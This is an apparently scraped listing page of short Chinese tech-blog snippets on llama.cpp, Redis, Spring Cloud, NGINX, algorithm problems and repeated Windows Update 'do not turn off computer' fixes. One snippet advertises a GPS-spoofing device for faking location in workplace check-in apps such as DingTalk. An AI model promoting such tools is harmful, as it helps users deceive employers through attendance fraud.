    2024/5/7 10:36:02
  3. llama.cpp运行qwen0.5B

    编译llama.cp 参考 下载模型 05b模型下载 转化模型 创建虚拟环境 conda create --prefixD:\miniconda3\envs\llamacpp python3.10 conda activate D:\miniconda3\envs\llamacpp安装所需要的包 cd G:\Cpp\llama.cpp-master pip install -r requirements.txt python conver…...

    2024/5/7 14:52:49
  4. Redis精品案例解析:Redis实现持久化主要有两种方式

    Redis实现持久化主要有两种方式&#xff1a;RDB&#xff08;Redis DataBase&#xff09;和AOF&#xff08;Append Only File&#xff09;。这两种方式各有优缺点&#xff0c;适用于不同的使用场景。 1. RDB持久化 RDB持久化是通过创建一个二进制的dump文件来保存当前Redis数据…...

    2024/5/7 16:47:17
  5. 416. 分割等和子集问题(动态规划)

    题目 题解 class Solution:def canPartition(self, nums: List[int]) -> bool:# badcaseif not nums:return True# 不能被2整除if sum(nums) % 2 ! 0:return False# 状态定义&#xff1a;dp[i][j]表示当背包容量为j&#xff0c;用前i个物品是否正好可以将背包填满&#xff…...

    2024/5/7 19:05:20
  6. 【Java】ExcelWriter自适应宽度工具类(支持中文)

    工具类 import org.apache.poi.ss.usermodel.Cell; import org.apache.poi.ss.usermodel.CellType; import org.apache.poi.ss.usermodel.Row; import org.apache.poi.ss.usermodel.Sheet;/*** Excel工具类** author xiaoming* date 2023/11/17 10:40*/ public class ExcelUti…...

    2024/5/7 22:31:36
  7. Spring cloud负载均衡@LoadBalanced LoadBalancerClient

    LoadBalance vs Ribbon 由于Spring cloud2020之后移除了Ribbon&#xff0c;直接使用Spring Cloud LoadBalancer作为客户端负载均衡组件&#xff0c;我们讨论Spring负载均衡以Spring Cloud2020之后版本为主&#xff0c;学习Spring Cloud LoadBalance&#xff0c;暂不讨论Ribbon…...

    2024/5/8 1:37:40
  8. TSINGSEE青犀AI智能分析+视频监控工业园区周界安全防范方案

    一、背景需求分析 在工业产业园、化工园或生产制造园区中&#xff0c;周界防范意义重大&#xff0c;对园区的安全起到重要的作用。常规的安防方式是采用人员巡查&#xff0c;人力投入成本大而且效率低。周界一旦被破坏或入侵&#xff0c;会影响园区人员和资产安全&#xff0c;…...

    2024/5/7 14:19:30
  9. VB.net WebBrowser网页元素抓取分析方法

    在用WebBrowser编程实现网页操作自动化时&#xff0c;常要分析网页Html&#xff0c;例如网页在加载数据时&#xff0c;常会显示“系统处理中&#xff0c;请稍候..”&#xff0c;我们需要在数据加载完成后才能继续下一步操作&#xff0c;如何抓取这个信息的网页html元素变化&…...

    2024/5/8 1:37:39
  10. 【Objective-C】Objective-C汇总

    方法定义 参考&#xff1a;https://www.yiibai.com/objective_c/objective_c_functions.html Objective-C编程语言中方法定义的一般形式如下 - (return_type) method_name:( argumentType1 )argumentName1 joiningArgument2:( argumentType2 )argumentName2 ... joiningArgu…...

    2024/5/7 16:57:02
  11. 【洛谷算法题】P5713-洛谷团队系统【入门2分支结构】

    &#x1f468;‍&#x1f4bb;博客主页&#xff1a;花无缺 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! 本文由 花无缺 原创 收录于专栏 【洛谷算法题】 文章目录 【洛谷算法题】P5713-洛谷团队系统【入门2分支结构】&#x1f30f;题目描述&#x1f30f;输入格…...

    2024/5/7 14:58:59
  12. 【ES6.0】- 扩展运算符(...)

    【ES6.0】- 扩展运算符... 文章目录 【ES6.0】- 扩展运算符...一、概述二、拷贝数组对象三、合并操作四、参数传递五、数组去重六、字符串转字符数组七、NodeList转数组八、解构变量九、打印日志十、总结 一、概述 **扩展运算符(...)**允许一个表达式在期望多个参数&#xff0…...

    2024/5/7 1:54:46
  13. 摩根看好的前智能硬件头部品牌双11交易数据极度异常!——是模式创新还是饮鸩止渴?

    文 | 螳螂观察 作者 | 李燃 双11狂欢已落下帷幕&#xff0c;各大品牌纷纷晒出优异的成绩单&#xff0c;摩根士丹利投资的智能硬件头部品牌凯迪仕也不例外。然而有爆料称&#xff0c;在自媒体平台发布霸榜各大榜单喜讯的凯迪仕智能锁&#xff0c;多个平台数据都表现出极度异常…...

    2024/5/7 21:15:55
  14. Go语言常用命令详解(二)

    文章目录 前言常用命令go bug示例参数说明 go doc示例参数说明 go env示例 go fix示例 go fmt示例 go generate示例 总结写在最后 前言 接着上一篇继续介绍Go语言的常用命令 常用命令 以下是一些常用的Go命令&#xff0c;这些命令可以帮助您在Go开发中进行编译、测试、运行和…...

    2024/5/8 1:37:35
  15. 用欧拉路径判断图同构推出reverse合法性:1116T4

    http://cplusoj.com/d/senior/p/SS231116D 假设我们要把 a a a 变成 b b b&#xff0c;我们在 a i a_i ai​ 和 a i 1 a_{i1} ai1​ 之间连边&#xff0c; b b b 同理&#xff0c;则 a a a 能变成 b b b 的充要条件是两图 A , B A,B A,B 同构。 必要性显然&#xff0…...

    2024/5/7 16:05:05
  16. 【NGINX--1】基础知识

    1、在 Debian/Ubuntu 上安装 NGINX 在 Debian 或 Ubuntu 机器上安装 NGINX 开源版。 更新已配置源的软件包信息&#xff0c;并安装一些有助于配置官方 NGINX 软件包仓库的软件包&#xff1a; apt-get update apt install -y curl gnupg2 ca-certificates lsb-release debian-…...

    2024/5/7 16:04:58
  17. Hive默认分割符、存储格式与数据压缩

    目录 1、Hive默认分割符2、Hive存储格式3、Hive数据压缩 1、Hive默认分割符 Hive创建表时指定的行受限&#xff08;ROW FORMAT&#xff09;配置标准HQL为&#xff1a; ... ROW FORMAT DELIMITED FIELDS TERMINATED BY \u0001 COLLECTION ITEMS TERMINATED BY , MAP KEYS TERMI…...

    2024/5/8 1:37:32
  18. 【论文阅读】MAG:一种用于航天器遥测数据中有效异常检测的新方法

    文章目录 摘要1 引言2 问题描述3 拟议框架4 所提出方法的细节A.数据预处理B.变量相关分析C.MAG模型D.异常分数 5 实验A.数据集和性能指标B.实验设置与平台C.结果和比较 6 结论 摘要 异常检测是保证航天器稳定性的关键。在航天器运行过程中&#xff0c;传感器和控制器产生大量周…...

    2024/5/7 16:05:05
  19. --max-old-space-size=8192报错

    vue项目运行时&#xff0c;如果经常运行慢&#xff0c;崩溃停止服务&#xff0c;报如下错误 FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory 因为在 Node 中&#xff0c;通过JavaScript使用内存时只能使用部分内存&#xff08;64位系统&…...

    2024/5/8 1:37:31
  20. 基于深度学习的恶意软件检测

    恶意软件是指恶意软件犯罪者用来感染个人计算机或整个组织的网络的软件。 它利用目标系统漏洞&#xff0c;例如可以被劫持的合法软件&#xff08;例如浏览器或 Web 应用程序插件&#xff09;中的错误。 恶意软件渗透可能会造成灾难性的后果&#xff0c;包括数据被盗、勒索或网…...

    2024/5/8 1:37:31
  21. JS原型对象prototype

    让我简单的为大家介绍一下原型对象prototype吧&#xff01; 使用原型实现方法共享 1.构造函数通过原型分配的函数是所有对象所 共享的。 2.JavaScript 规定&#xff0c;每一个构造函数都有一个 prototype 属性&#xff0c;指向另一个对象&#xff0c;所以我们也称为原型对象…...

    2024/5/8 12:44:41
  22. C++中只能有一个实例的单例类

    C中只能有一个实例的单例类 前面讨论的 President 类很不错&#xff0c;但存在一个缺陷&#xff1a;无法禁止通过实例化多个对象来创建多名总统&#xff1a; President One, Two, Three; 由于复制构造函数是私有的&#xff0c;其中每个对象都是不可复制的&#xff0c;但您的目…...

    2024/5/8 9:51:44
  23. python django 小程序图书借阅源码

    开发工具&#xff1a; PyCharm&#xff0c;mysql5.7&#xff0c;微信开发者工具 技术说明&#xff1a; python django html 小程序 功能介绍&#xff1a; 用户端&#xff1a; 登录注册&#xff08;含授权登录&#xff09; 首页显示搜索图书&#xff0c;轮播图&#xff0…...

    2024/5/8 1:37:29
  24. 电子学会C/C++编程等级考试2022年03月(一级)真题解析

    C/C++等级考试(1~8级)全部真题・点这里 第1题:双精度浮点数的输入输出 输入一个双精度浮点数,保留8位小数,输出这个浮点数。 时间限制:1000 内存限制:65536输入 只有一行,一个双精度浮点数。输出 一行,保留8位小数的浮点数。样例输入 3.1415926535798932样例输出 3.1…...

    2024/5/7 17:09:45
  25. 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...

    解析如下&#xff1a;1、长按电脑电源键直至关机&#xff0c;然后再按一次电源健重启电脑&#xff0c;按F8健进入安全模式2、安全模式下进入Windows系统桌面后&#xff0c;按住“winR”打开运行窗口&#xff0c;输入“services.msc”打开服务设置3、在服务界面&#xff0c;选中…...

    2022/11/19 21:17:18
  26. 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。

    %读入6幅图像&#xff08;每一幅图像的大小是564*564&#xff09; f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...

    2022/11/19 21:17:16
  27. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...

    win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面&#xff0c;在等待界面中我们需要等待操作结束才能关机&#xff0c;虽然这比较麻烦&#xff0c;但是对系统进行配置和升级…...

    2022/11/19 21:17:15
  28. 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...

    有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows&#xff0c;请勿关闭计算机”的提示&#xff0c;要过很久才能进入系统&#xff0c;有的用户甚至几个小时也无法进入&#xff0c;下面就教大家这个问题的解决方法。第一种方法&#xff1a;我们首先在左下角的“开始…...

    2022/11/19 21:17:14
  29. win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...

    置信有很多用户都跟小编一样遇到过这样的问题&#xff0c;电脑时发现开机屏幕显现“正在配置Windows Update&#xff0c;请勿关机”(如下图所示)&#xff0c;而且还需求等大约5分钟才干进入系统。这是怎样回事呢&#xff1f;一切都是正常操作的&#xff0c;为什么开时机呈现“正…...

    2022/11/19 21:17:13
  30. 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...

    Win7系统开机启动时总是出现“配置Windows请勿关机”的提示&#xff0c;没过几秒后电脑自动重启&#xff0c;每次开机都这样无法进入系统&#xff0c;此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一&#xff1a;开机按下F8&#xff0c;在出现的Windows高级启动选…...

    2022/11/19 21:17:12
  31. 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...

    有不少windows10系统用户反映说碰到这样一个情况&#xff0c;就是电脑提示正在准备windows请勿关闭计算机&#xff0c;碰到这样的问题该怎么解决呢&#xff0c;现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法&#xff1a;1、2、依次…...

    2022/11/19 21:17:11
  32. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...

    今天和大家分享一下win7系统重装了Win7旗舰版系统后&#xff0c;每次关机的时候桌面上都会显示一个“配置Windows Update的界面&#xff0c;提示请勿关闭计算机”&#xff0c;每次停留好几分钟才能正常关机&#xff0c;导致什么情况引起的呢&#xff1f;出现配置Windows Update…...

    2022/11/19 21:17:10
  33. 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...

    只能是等着&#xff0c;别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚&#xff0c;只能是考虑备份数据后重装系统了。解决来方案一&#xff1a;管理员运行cmd&#xff1a;net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...

    2022/11/19 21:17:09
  34. 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?

    原标题&#xff1a;电脑提示“配置Windows Update请勿关闭计算机”怎么办&#xff1f;win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢&#xff1f;一般的方…...

    2022/11/19 21:17:08
  35. 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...

    关机提示 windows7 正在配置windows 请勿关闭计算机 &#xff0c;然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;关机提示 windows7 正在配…...

    2022/11/19 21:17:05
  36. 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...

    钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...

    2022/11/19 21:17:05
  37. 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...

    前几天班里有位学生电脑(windows 7系统)出问题了&#xff0c;具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面&#xff0c;长时间没反应&#xff0c;无法进入系统。这个问题原来帮其他同学也解决过&#xff0c;网上搜了不少资料&#x…...

    2022/11/19 21:17:04
  38. 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...

    本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法&#xff0c;并在最后教给你1种保护系统安全的好方法&#xff0c;一起来看看&#xff01;电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中&#xff0c;添加了1个新功能在“磁…...

    2022/11/19 21:17:03
  39. 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...

    许多用户在长期不使用电脑的时候&#xff0c;开启电脑发现电脑显示&#xff1a;配置windows更新失败&#xff0c;正在还原更改&#xff0c;请勿关闭计算机。。.这要怎么办呢&#xff1f;下面小编就带着大家一起看看吧&#xff01;如果能够正常进入系统&#xff0c;建议您暂时移…...

    2022/11/19 21:17:02
  40. 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...

    配置windows update失败 还原更改 请勿关闭计算机&#xff0c;电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;配置windows update失败 还原更改 请勿关闭计算机&#x…...

    2022/11/19 21:17:01
  41. 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...

    不知道大家有没有遇到过这样的一个问题&#xff0c;就是我们的win7系统在关机的时候&#xff0c;总是喜欢显示“准备配置windows&#xff0c;请勿关机”这样的一个页面&#xff0c;没有什么大碍&#xff0c;但是如果一直等着的话就要两个小时甚至更久都关不了机&#xff0c;非常…...

    2022/11/19 21:17:00
  42. 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...

    当电脑出现正在准备配置windows请勿关闭计算机时&#xff0c;一般是您正对windows进行升级&#xff0c;但是这个要是长时间没有反应&#xff0c;我们不能再傻等下去了。可能是电脑出了别的问题了&#xff0c;来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...

    2022/11/19 21:16:59
  43. 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...

    我们使用电脑的过程中有时会遇到这种情况&#xff0c;当我们打开电脑之后&#xff0c;发现一直停留在一个界面&#xff1a;“配置Windows Update失败&#xff0c;还原更改请勿关闭计算机”&#xff0c;等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢&#xff0…...

    2022/11/19 21:16:58
  44. 如何在iPhone上关闭“请勿打扰”

    Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...

    2022/11/19 21:16:57